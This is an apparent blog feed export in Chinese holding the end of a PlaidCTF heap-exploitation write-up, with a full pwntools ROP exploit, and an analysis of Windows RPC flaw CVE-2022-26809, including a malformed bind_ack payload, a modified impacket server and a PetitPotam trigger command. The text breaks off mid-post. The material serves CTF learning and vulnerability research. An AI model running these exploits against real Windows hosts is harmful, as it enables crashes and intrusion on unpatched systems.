ntdll.so</span><br></pre></td></tr></table></figure><p><em>注意，测试的时候使用的地址一定要是0xffffffffffffffff，之前使用0xaaaaaaaaaaaaaaaa居然是有效地址，不会导致崩溃。。。</em><br>由于这个<code>target_ptr</code>可以被修改成任何值，我们就相当于有了一个<code>WWW</code>，也就是<code>write-what-where</code>。</p><p>之后漏洞利用就很简单了，由于这个程序<strong>几乎等于没有开ASLR</strong>，于是我们可以利用dump数据，直接算出程序返回值地址。然后通过修改<code>target_ptr</code>指向栈尾部，然后就能直接塞ROP的指令进去了。<br>然而，一开始我们直接使用溢出攻击的时候，程序会直接崩溃在调用quit指令的时候，原因是我们这边溢出会修改堆的头部，而quit的时候会调用free，所以此时释放堆会发生错误。此时我们可以直接通过gdb调试，把被覆盖的数据抠出来，然后再payload钟直接按照原样写入对应位置。最后可以写出如下的exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> hexlify</span><br><span class="line"></span><br><span class="line">context.clear(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;windows&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#r = remote(&quot;172.17.0.2&quot;,7777)</span></span><br><span class="line">r = process([<span class="string">&#x27;docker&#x27;</span>, <span class="string">&#x27;run&#x27;</span>, <span class="string">&#x27;--privileged&#x27;</span>, <span class="string">&#x27;--rm&#x27;</span> ,<span class="string">&#x27;-i&#x27;</span>, <span class="string">&#x27;my_image&#x27;</span>])</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">PE            7b000000-        7b3fd000    Deferred        kernelbase</span></span><br><span class="line"><span class="string">PE            7b600000-        7b969000    Dwarf           kernel32</span></span><br><span class="line"><span class="string">PE            7bc00000-        7bf3c000    Dwarf           ntdll</span></span><br><span class="line"><span class="string">ELF            7d000000-        7d005000    Deferred        &lt;wine-loader&gt;</span></span><br><span class="line"><span class="string">PE           140000000-       14002f000    Export          baby-heap-question-mark</span></span><br><span class="line"><span class="string">PE           262250000-       262260000    Deferred        api-ms-win-crt-runtime-l1-1-0</span></span><br><span class="line"><span class="string">PE           26ed50000-       26ed69000    Deferred        vcruntime140</span></span><br><span class="line"><span class="string">PE           30a2c0000-       30a2d0000    Deferred        api-ms-win-crt-stdio-l1-1-0</span></span><br><span class="line"><span class="string">PE           355100000-       35510f000    Deferred        api-ms-win-crt-locale-l1-1-0</span></span><br><span class="line"><span class="string">PE           360a80000-       360a91000    Deferred        api-ms-win-crt-math-l1-1-0</span></span><br><span class="line"><span class="string">PE           39b510000-       39b51f000    Deferred        api-ms-win-crt-heap-l1-1-0</span></span><br><span class="line"><span class="string">PE           3af670000-       3af9dd000    Deferred        ucrtbase</span></span><br><span class="line"><span class="string">ELF        7f26a0026000-    7f26a0046000    Deferred        libgcc_s.so.1</span></span><br><span class="line"><span class="string">ELF        7f26a004b000-    7f26a0069000    Deferred        ucrtbase.so</span></span><br><span class="line"><span class="string">ELF        7f26a0369000-    7f26a04df000    Dwarf           libwine.so.1</span></span><br><span class="line"><span class="string">ELF        7f26a06df000-    7f26a070a000    Deferred        liblzma.so.5</span></span><br><span class="line"><span class="string">ELF        7f26a070a000-    7f26a07f1000    Deferred        libm.so.6</span></span><br><span class="line"><span class="string">ELF        7f26a07f1000-    7f26a080c000    Deferred        libunwind.so.8</span></span><br><span class="line"><span class="string">ELF        7f26a080c000-    7f26a08a8000    Deferred        ntdll.so</span></span><br><span class="line"><span class="string">ELF        7f26a08ab000-    7f26a0ad3000    Deferred        libc.so.6</span></span><br><span class="line"><span class="string">ELF        7f26a0ada000-    7f26a0b16000    Deferred        ld-linux-x86-64.so.2</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="comment"># REMOTE = False</span></span><br><span class="line"><span class="comment"># if REMOTE:</span></span><br><span class="line"><span class="comment">#     r = remote(&quot;bhqm.chal.pwni.ng&quot;,1337)</span></span><br><span class="line"><span class="comment">#     print(r.recvline())</span></span><br><span class="line"><span class="comment">#     r.sendline(input(&quot;&gt;&quot;).strip())</span></span><br><span class="line"><span class="comment"># else:</span></span><br><span class="line"><span class="comment">#     r = process(&quot;baby-heap-question-mark.exe&quot;)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">allocate</span>(<span class="params">size</span>):</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;choice?&quot;</span>,<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;size?&quot;</span>,<span class="built_in">str</span>(size))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">drop</span>(<span class="params">index</span>):</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;choice?&quot;</span>,<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;index?&quot;</span>,<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">read</span>(<span class="params">index</span>):</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;choice?&quot;</span>,<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;index?&quot;</span>,<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write</span>(<span class="params">index,data</span>):</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;choice?&quot;</span>,<span class="string">&quot;4&quot;</span>)</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;index?&quot;</span>,<span class="built_in">str</span>(index))</span><br><span class="line">    <span class="comment"># r.sendlineafter(&quot;data?&quot;,hexlify(data))</span></span><br><span class="line">    r.sendlineafter(<span class="string">&quot;data?&quot;</span>,hexlify(data))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    allocate(<span class="number">24</span>)</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">stack = <span class="number">0x21fc08</span></span><br><span class="line">payload = <span class="string">b&#x27;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x008\x00E\x009\x00C\x004\x004\x00D\x00\x88\x01\x00\x00USE\x08&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(payload)</span><br><span class="line">rop_payload = payload + p64(<span class="number">0x18</span>)</span><br><span class="line">rop_payload += p64(stack)</span><br><span class="line">write(<span class="number">8</span>,rop_payload)</span><br><span class="line"></span><br><span class="line">pop_rax = p64(<span class="number">0x0000000140008874</span>) <span class="comment"># pop_rax</span></span><br><span class="line">pop_rdi = p64(<span class="number">0x000000014000222c</span>) <span class="comment"># pop rdi; ret; </span></span><br><span class="line">pop_rsi = p64(<span class="number">0x00000003af68655a</span>) <span class="comment"># pop rsi; ret; </span></span><br><span class="line">pop_rdx = p64(<span class="number">0x00000003af6b3fa9</span>) <span class="comment"># pop rdx ; add eax, 0x7e0f6600 ; ret</span></span><br><span class="line">syscall = p64(<span class="number">0x00000003af67bb76</span>) <span class="comment"># syscall</span></span><br><span class="line"></span><br><span class="line">addr = <span class="number">0x0</span></span><br><span class="line"><span class="comment"># prepare write data</span></span><br><span class="line">rop_payload = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">rop_payload += pop_rsi</span><br><span class="line">rop_payload += p64(<span class="number">0</span>) <span class="comment"># set argv = 0</span></span><br><span class="line">rop_payload += pop_rdx</span><br><span class="line">rop_payload += p64(<span class="number">0</span>) <span class="comment"># set envp = 0</span></span><br><span class="line">rop_payload += pop_rax <span class="comment"># 0x40</span></span><br><span class="line">rop_payload += p64(<span class="number">59</span>) <span class="comment"># execve</span></span><br><span class="line">rop_payload += pop_rdi</span><br><span class="line">rop_payload += p64(stack+<span class="number">9</span>*<span class="number">8</span>)</span><br><span class="line">rop_payload += syscall</span><br><span class="line">rop_payload += <span class="string">b&#x27;/getFlag\0&#x27;</span> <span class="comment"># give binary</span></span><br><span class="line">write(<span class="number">0</span>,rop_payload)</span><br><span class="line"><span class="comment"># 0x14790+8 save pointer</span></span><br><span class="line"><span class="comment"># 0x14760 save data</span></span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h2 id="一些碎碎念">一些碎碎念</h2><p>这个题本质上我觉得是一个纯的二进制题。这个题其实从侧面突出了这几年pwn的一个做题趋势，就是【不去完全看懂程序逻辑，而是着重于漏洞发现】。举个我逆向中的例子，这个程序有一段拷贝数据的逻辑:<br><img src="/2023/04/21/PlaidCTF-baby-heap-question-mark/bhqm01.png" alt=""><br>直接看逻辑会有一点莫名其妙：因为在上面的<code>IOStruct</code>中，对应的向量的变量成员和赋值对应的内容可以说是完全无关，而在后面的逻辑中，这些成员又变得合理。这其实是一种<strong>变量复用</strong>的现象。假设存在如下代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">func</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;input number a&quot;</span>);</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>,a);</span><br><span class="line">    a += <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;a is %d&quot;</span>, a);</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> b = <span class="number">2</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;input number b&quot;</span>);</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>,b);</span><br><span class="line">    b += <span class="number">3</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;b is %d&quot;</span> ,b);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于上述代码，a在代码后方完全没出现过，b也完全没有在前方出现过。此时对于编译器来说，他就有一种选项，也就是让<code>a和b公用一段内存空间</code>。然而此时对于尝试逆向的人来说，就会无法区分这两个变量到底是不是同一个变量。更有甚者，可能会有如下的现象:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Large</span>&#123;</span></span><br><span class="line">    <span class="type">int</span> a;</span><br><span class="line">    <span class="type">int</span> b;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Small</span>&#123;</span></span><br><span class="line">    <span class="type">char</span> c;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">int</span> <span class="title function_">func2</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">Big</span> <span class="title">g</span>;</span></span><br><span class="line">    g.a = <span class="number">1</span>;</span><br><span class="line">    g.b = <span class="number">2</span>;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">Small</span> <span class="title">s</span>;</span></span><br><span class="line">    s.c = <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面列出了两个大小不同的结构体，并且同时存在栈上。这种时候，某些编译器甚至会<strong>再g的逻辑后，将g的一部分内存直接用于存放s的内容</strong>。这种内存覆盖就会对代码的分析造成极大的困惑。<br>而前阵子和其他队友做题的时候，我也发现，最近的pwn题做起来更像是【先用fuzz等技巧先发现了漏洞，再顺着漏洞往下探索】，很多时候似乎做题的人也没有搞懂逻辑，但是他们就是能把题目做出来，这可能是现代CTF比赛中，pwn题的一种必然趋势吧。<br>说起来，最近沉迷于探索一些真实漏洞，感觉是不是也可以参照这种思路来思考呢。。？</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;真的好久好久都没写过博客了，感觉还是得是不是用博客这个形式来记录一些重要的信息&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Wine" scheme="https://showlinkroom.me/tags/Wine/"/>
    
    <category term="Rust" scheme="https://showlinkroom.me/tags/Rust/"/>
    
  </entry>
  
  <entry>
    <title>Windows-CVE-2022-26809</title>
    <link href="https://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/"/>
    <id>https://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/</id>
    <published>2022-04-30T02:27:33.000Z</published>
    <updated>2022-05-22T03:06:22.008Z</updated>
    
    <content type="html"><![CDATA[<p><a href="http://showlinkroom.me/2022/04/30/WindowsRPCStudy/">书接上篇</a>，这边将对漏洞相关细节进行一些分析:</p><span id="more"></span><h2 id="漏洞相关">漏洞相关</h2><p>在博客写完差不多一个月之后。。。<a href="https://corelight.com/blog/another-day-another-dce-rpc-rce">corelight</a>中给出了该漏洞的相关检测方案，HuanGMz师傅提醒我，可能之前分析的点并不是真正的漏洞点，于是只好重新对漏洞点进行分析。。（幸好看博客和github的人不多，整整一个月的打脸(￣ε(#￣)）新的分析也是师傅带着完成的，<a href="https://paper.seebug.org/1906/">师傅发的文章</a>写的比较有条理，这边就做一下分析经验学习。。</p><h3 id="核心漏洞点-新">核心漏洞点(新)</h3><p>用Bindiff能发现，以下五个API发生了明显的修复</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">OSF_SCALL::ProcessReceivedPDU</span><br><span class="line">OSF_SCALL::GetCoalescedBuffer</span><br><span class="line"></span><br><span class="line">OSF_CCALL::ProcessReceivedPDU</span><br><span class="line">OSF_CCALL::GetCoalescedBuffer</span><br><span class="line">OSF_CASSOCIATION::ProcessBindAckOrNak</span><br></pre></td></tr></table></figure><p>可以看到，后三个API开头为<code>OSF_C</code>，这个<code>C</code>肯定就是Client，一个9.8分的漏洞怎么会是客户端的漏洞呢，不可能的啦。结果是我才疏学浅了，真的是这个位置触发的。。</p><p><img src="/2022/04/30/Windows-CVE-2022-26809/RPC99.png" alt=""></p><h4 id="如何让服务器调用客户端api">如何让服务器调用客户端API</h4><p>这个原理与另一个漏洞的利用方式有关：<a href="https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/">CVE-2021-43893</a></p><p>这个漏洞利用了Windows的一个叫做<strong>Encrypted File System（EFS）加密文件系统</strong>的特性， 其中最关键的点在于，EFSRPC支持<strong>UNC Path</strong>，也就是可以以如下的方式来访问文件:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\10.0.0.1\Share\Test\Foo.txt</span><br></pre></td></tr></table></figure><p>而EFS可以通过发送RPC请求来将服务器侧上的文件下载下来，<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8">详情见此</a><br>概括来说，当我们发送一个<code>EfsRpcOpenFileRaw</code>请求，并且此时包含有<code>UNC</code>路径的时候，服务器就需要向一个UNC中指定的路径进行数据请求访问。该漏洞提到的一个渗透工具<strong>PetitPotam</strong>会利用这种简介请求来获取受害服务器的<code>NTLM hash</code>，而这个过程<strong>其实也是一个RPC</strong>。也就是说，利用这个思路，<strong>我们可以让受害者主机由服务器的身份变为客户端</strong>。相对于服务端，客户端的API往往会相对脆弱，利用这个思路就能将攻击面扩大到客户端API上！</p><p><img src="/2022/04/30/Windows-CVE-2022-26809/RPC98.png" alt=""></p><h4 id="漏洞细节">漏洞细节</h4><p>这个点之后，回到看有问题的函数<code>OSF_CASSOCIATION::ProcessBindAckOrNak</code>:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">OSF_CASSOCIATION::ProcessBindAckOrNak</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">        struct_this *<span class="keyword">this</span>,</span></span></span><br><span class="line"><span class="params"><span class="function">        struct_buffer *buffer,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> buf_length,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="keyword">struct</span> OSF_CCONNECTION *a4,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="keyword">struct</span> OSF_CCALL *a5,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="keyword">struct</span> OSF_BINDING **a6,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="keyword">enum</span> FAILURE_COUNT_STATE *a7)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> ( buffer-&gt;type == <span class="number">12</span> )                   <span class="comment">// rpc_bind_ack</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="comment">//....</span></span><br><span class="line">    &#125;</span><br><span class="line">    last_length = buf_length - <span class="number">26</span>;</span><br><span class="line">    <span class="keyword">if</span> ( buffer-&gt;sec_addr )</span><br><span class="line">    &#123;</span><br><span class="line">      like_padding = buffer-&gt;sec_addr + ((<span class="number">-2</span> - buffer-&gt;sec_addr) &amp; <span class="number">3</span>);</span><br><span class="line">      <span class="keyword">if</span> ( last_length &lt; like_padding )</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1728</span>i64;</span><br><span class="line">      latest_length = last_length - like_padding;</span><br><span class="line">      v15 = like_padding;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span>                                        <span class="comment">// after patch:</span></span><br><span class="line">                                                <span class="comment">// else if(type == 15)</span></span><br><span class="line">    &#123;</span><br><span class="line">      latest_length = buf_length - <span class="number">28</span>;</span><br><span class="line">      v15 = <span class="number">2</span>i64;</span><br><span class="line">    &#125;</span><br><span class="line">    pointer = &amp;buffer-&gt;offset + v15;</span><br><span class="line">    v17 = (<span class="type">unsigned</span> __int8)*pointer;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>函数主要用于处理RPC请求过程中，处理RPC的<code>ack</code>绑定的过程。这个绑定过程中涉及了两种类型的<code>ack</code>:</p><ul><li><code>bind_ack</code>，表示一个bind的请求被接受。此时会返回这种数据包，底层以数字12表示</li><li><code>alter_context_resp</code>，这个表示接受发生<strong>上下文变化</strong>的请求，并且返回该种数据包，底层以数字12表示</li></ul><p>其中文档交代，两个<code>ack</code>的头部是一样的，这里贴出其中一个展示</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> &#123;</span><br><span class="line">        <span class="comment">/* start 8-octet aligned */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* common fields */</span></span><br><span class="line">    u_int8  rpc_vers = <span class="number">5</span>;       <span class="comment">/* 00:01 RPC version */</span></span><br><span class="line">    u_int8  rpc_vers_minor      <span class="comment">/* 01:01 minor version */</span></span><br><span class="line">    u_int8  PTYPE = alter_context_response; <span class="comment">/* 02:01 alter</span></span><br><span class="line"><span class="comment">                                                context response PDU */</span></span><br><span class="line">    u_int8  pfc_flags;          <span class="comment">/* 03:01 flags */</span></span><br><span class="line">    byte    packed_drep[<span class="number">4</span>];     <span class="comment">/* 04:04 NDR data rep format label*/</span></span><br><span class="line">    u_int16 frag_length;        <span class="comment">/* 08:02 total length of fragment */</span></span><br><span class="line">    u_int16 auth_length;        <span class="comment">/* 10:02 length of auth_value */</span></span><br><span class="line">    u_int32  call_id;           <span class="comment">/* 12:04 call identifier */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* end common fields */</span></span><br><span class="line"></span><br><span class="line">    u_int16 max_xmit_frag;      <span class="comment">/* ignored */</span></span><br><span class="line">    u_int16 max_recv_frag;      <span class="comment">/* ignored */</span></span><br><span class="line">    u_int32 assoc_group_id;     <span class="comment">/* ignored */</span></span><br><span class="line">    <span class="type">port_any_t</span> sec_addr;        <span class="comment">/* ignored */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* restore 4-octet alignment */</span></span><br><span class="line"></span><br><span class="line">    u_int8 [<span class="built_in">size_is</span>(<span class="built_in">align</span>(<span class="number">4</span>))] pad2;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* presentation context result list, including hints */</span></span><br><span class="line"></span><br><span class="line">    <span class="type">p_result_list_t</span>     p_result_list;    <span class="comment">/* variable size */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* optional authentication verifier */</span></span><br><span class="line">    <span class="comment">/* following fields present iff auth_length != 0 */</span></span><br><span class="line"></span><br><span class="line">    <span class="type">auth_verifier_co_t</span>   auth_verifier; <span class="comment">/* xx:yy */</span></span><br><span class="line">&#125; <span class="type">rpcconn_alter_context_response_hdr_t</span>;</span><br></pre></td></tr></table></figure><p>漏洞的核心触如下：<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC12.png" alt=""></p><p>根据描述猜测，可能<code>alter_context_resp</code>的请求在请求头之后，会跟随一些描述变更情况的数据，而由于代码判断过程中，忘记检查<code>type==15</code>，也就是是否为<code>alter_context_resp</code>，此时如果请求头部的种类为<code>bind_ack</code>，并且我们发送的数据只有头部，此时<code>BufferLength_Argu</code>的长度就只有26，一旦进入<code>else</code>逻辑此时就会进行运算</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">v14 = BufferLength_Argu - <span class="number">28</span>;<span class="comment">// 0xfffffffe</span></span><br></pre></td></tr></table></figure><p>而v14作为长度，是一个无符号整数，其将整数溢出，从而导致漏洞的发生！</p><h4 id="环境和poc">环境和PoC</h4><p>由于这个漏洞触发需要服务器支持，这边准备的环境如下:<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC13.png" alt=""></p><p>其中：</p><ul><li>Trigger机器上运行<code>PetitPotam</code>，用于触发RPC</li><li>Victime机器上为老版本RPCRT4.dll，可怜受害者</li><li>Attacker上运行一个假的SMB服务，并且返回畸形数据包</li></ul><p>首先我们在Attacker机器上起一个假SMB服务</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> impacket.smbserver <span class="keyword">import</span> SimpleSMBServer</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">myserver = SimpleSMBServer(listenPort=<span class="number">445</span>)</span><br><span class="line">myserver.addShare(<span class="string">&quot;Test&quot;</span>,<span class="string">&quot;/test/path/for/smb&quot;</span>,<span class="string">&quot;&quot;</span>)</span><br><span class="line">myserver.start()</span><br></pre></td></tr></table></figure><p>注意的是，这个<code>/test/path/for/smb</code>是需要真实存在的，包括路径下一定要有SMB请求的文件，不然的话RPC请求会失败，从而无法进入<code>bind_ack</code>的逻辑。<br>同时，可以参考<br><a href="https://corelight.com/blog/another-day-another-dce-rpc-rce">corelight</a>中的截图，将<code>impacket</code>的<code>rpcrt.py</code>中，<code>DCERPCServer</code>的<code>bind</code>函数进行修改:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">bind</span>(<span class="params">self, packet, bind</span>):</span><br><span class="line">    NDRSyntax   = (<span class="string">&#x27;8a885d04-1ceb-11c9-9fe8-08002b104860&#x27;</span>, <span class="string">&#x27;2.0&#x27;</span>)</span><br><span class="line">    data = <span class="string">b&#x27;\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00&#x27;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;real payload:&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(data)</span><br><span class="line">    <span class="comment"># self._clientSock.send(resp.getData())</span></span><br><span class="line">    self._clientSock.send(data)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># self._clientSock.send(data)</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><p>然后在Trigger机器上运行<code>PetiPotam</code>，运行指令如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug &quot;user:password@192.168.6.135&quot; &quot;\\192.168.6.136\realfile</span><br></pre></td></tr></table></figure><p>之后就能观察到相关的请求数据包:<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC11.png" alt=""></p><p>此时就能触发漏洞！</p><h4 id="bsod？">BSOD？</h4><p>然而漏洞触发之后，也不一定能触发BSOD，理由在这:<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC14.png" 